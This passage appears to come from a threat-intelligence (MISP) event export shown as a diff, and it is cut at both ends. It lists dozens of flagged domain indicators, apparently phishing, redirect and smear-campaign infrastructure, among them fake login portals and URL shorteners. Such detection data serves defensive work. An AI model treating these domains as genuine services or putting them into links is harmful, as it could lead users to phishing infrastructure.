"Network activity", + "to_ids": true, + "uuid": "5ede974b-d768-4621-beeb-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "capitalinvestmentsllp.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18787", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b218-498c-9aa8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "frwrdrurl.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18788", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3930-4de3-8ded-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "offshoretoursntravels.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18789", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3538-441f-8489-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shipnyatchholland.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18790", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4cfc-4fb4-8b9b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hollandtourandtravel.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18791", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6b64-457f-86c4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tricktravelbooking.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18792", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7edc-4931-a120-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hongkongshippingcompany.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18793", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-9d20-47f0-ae1a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "offshorecompanyllp.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18794", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-885c-427b-9a04-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hardcoretechnologiesllp.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18795", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6ee8-4c07-a877-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "strongwingtechnologies.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18796", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3634-4a5f-b63d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "watchmanservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18797", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1bf8-4a3a-a1a1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hiretechservicehg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18798", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-2930-48c9-b7ec-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "internetmarketingservicehg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18799", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-f07c-459d-bbfd-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "prwebsiteuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18800", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-9504-4c77-90af-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "selectyourgroom.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18801", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5228-4bc7-ac4a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "exchangeserverformailing.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18802", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-0394-4fcb-ab1d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "loginservicesmailsonlinesaccounts.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18803", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-54c4-4074-9a98-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "redirectserviceonline.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18804", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ac34-420a-ada9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "strongbolthostinghk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18805", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-53d4-4528-b91f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "dotnerserversg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18806", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-8d54-4966-b6ce-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "netserviceru.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18807", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-048c-4ae5-900c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "sapserverhg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18808", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-98ac-4c09-a078-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "srvrgruk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18809", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5e04-4a75-8dde-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainformailinguk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18810", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5ebc-4d75-a571-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "exchangeserver2345.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18811", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5740-4f87-978e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "tnyurlservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18812", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3340-4c3f-bf88-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserver39490.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18813", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-48ac-49f7-aa25-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserveroginusa.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18814", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-f180-4a01-92f0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserverdomaineu.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18815", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-c100-45b4-81df-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserverdomainhk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18816", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ab10-4ab3-a06d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserverdomainuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18817", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7edc-4057-baba-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webserverdomainusa.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18818", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7244-43e1-92cc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainhostnetworkuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18819", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4de0-4c57-9268-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainhostnetworkusa.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18820", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-2d00-4dc6-8bb2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainhostworkeu.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18821", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-eed4-4938-84d1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainlocalhostingeu.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18822", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3594-4998-b9e1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainlocalhostinghk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18823", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-44dc-476e-999f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainlocalhostinguk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18824", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-8008-4c91-a16b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "localhostinguk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18825", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-f528-4693-9214-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shorturlservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18826", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-646c-46fa-b45a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlineloginserviceeu.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18827", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6ee8-4b70-acdc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlineloginserviceuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18828", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-c338-4d27-8906-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlineloginserviceusa.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18829", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4178-428d-9a89-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basichostnetservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18830", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3bf0-48e4-b015-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "loginservicebasic.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18831", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-26c8-401d-afe0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basichostingrussia.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18832", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7348-4b92-8293-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bitserverhk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18577", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-f0c4-4628-a01d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "openserverholland.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18833", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b028-4cd7-b4c3-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "bitserverlux.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18578", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0d88-4041-bb35-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailseverrus23.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18834", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-8ccc-4d1c-96fd-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "selectedservicemy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18579", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-8b1c-4ee5-94be-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "smtpserver389.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18835", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-f24c-4033-934a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "selectedserviceru.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18580", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-8c14-48ff-aa3c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "pageserver77.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18836", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1050-4a49-a531-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "selectedservicesg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18581", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-5594-49f9-9ea6-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "euanticorruption.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18837", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-dd14-499c-a5c8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basicmyoffshore.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18582", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-4134-4408-bffb-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovcog.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18838", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-a7e4-469f-a011-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basicruoffshore.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18583", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-ed04-4563-b839-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovcriminalgang.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18839", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-fff8-4ae5-946a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basicsgoffshore.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18584", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-81ec-4128-9036-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovgang.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18840", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-d554-4f2f-a399-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlineloginportal.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18585", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b634-4bd2-964f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovcriminals.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18841", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-2e14-46ca-84d1-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlineloginportalhk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18586", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-969c-4f41-9b29-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovcrimestory.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18842", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ab8c-41d3-86e4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlineloginportalmy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18587", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-6360-4a3a-ada0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovmafia.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18843", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-25e4-459a-9744-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlineloginportalsg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18588", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-fb04-40f9-aeff-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovcrimesyndicate.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18844", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5af4-43e2-afa4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "personaldoaminru.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18589", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-930c-472e-a915-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovorganisedcrime.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18845", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-bfac-49c8-9853-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "personaldoaminsg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18590", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-c7dc-42df-859a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "linkshrtnr22.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18846", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-49a4-4739-aceb-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainexpertswebuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18591", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1394-4cd7-b32d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ablyazovangels.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18847", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7680-4679-b122-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serviceasneed.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18592", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-e8f0-4210-a5a8-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "sapserver39j.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18848", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-92f4-4263-aba5-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webdomainexperts.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18593", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-e538-4957-a77a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "pageserver299.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18849", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-9d70-42e3-99df-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "buzzoffbul.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18594", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-624c-4728-b4e2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shadymario.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18850", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7e20-49ed-aa14-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "buzzoffhk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18595", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-fdd8-48f5-aede-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "emailserver399.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18851", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4868-4ba6-9d46-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "buzzoffmy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18596", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-4a18-483e-889b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "newserver39.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18852", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3340-45f1-915d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "buzzoffru.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18597", + "type": "domain", + "category": "Network activity", + "to_ids": true, + 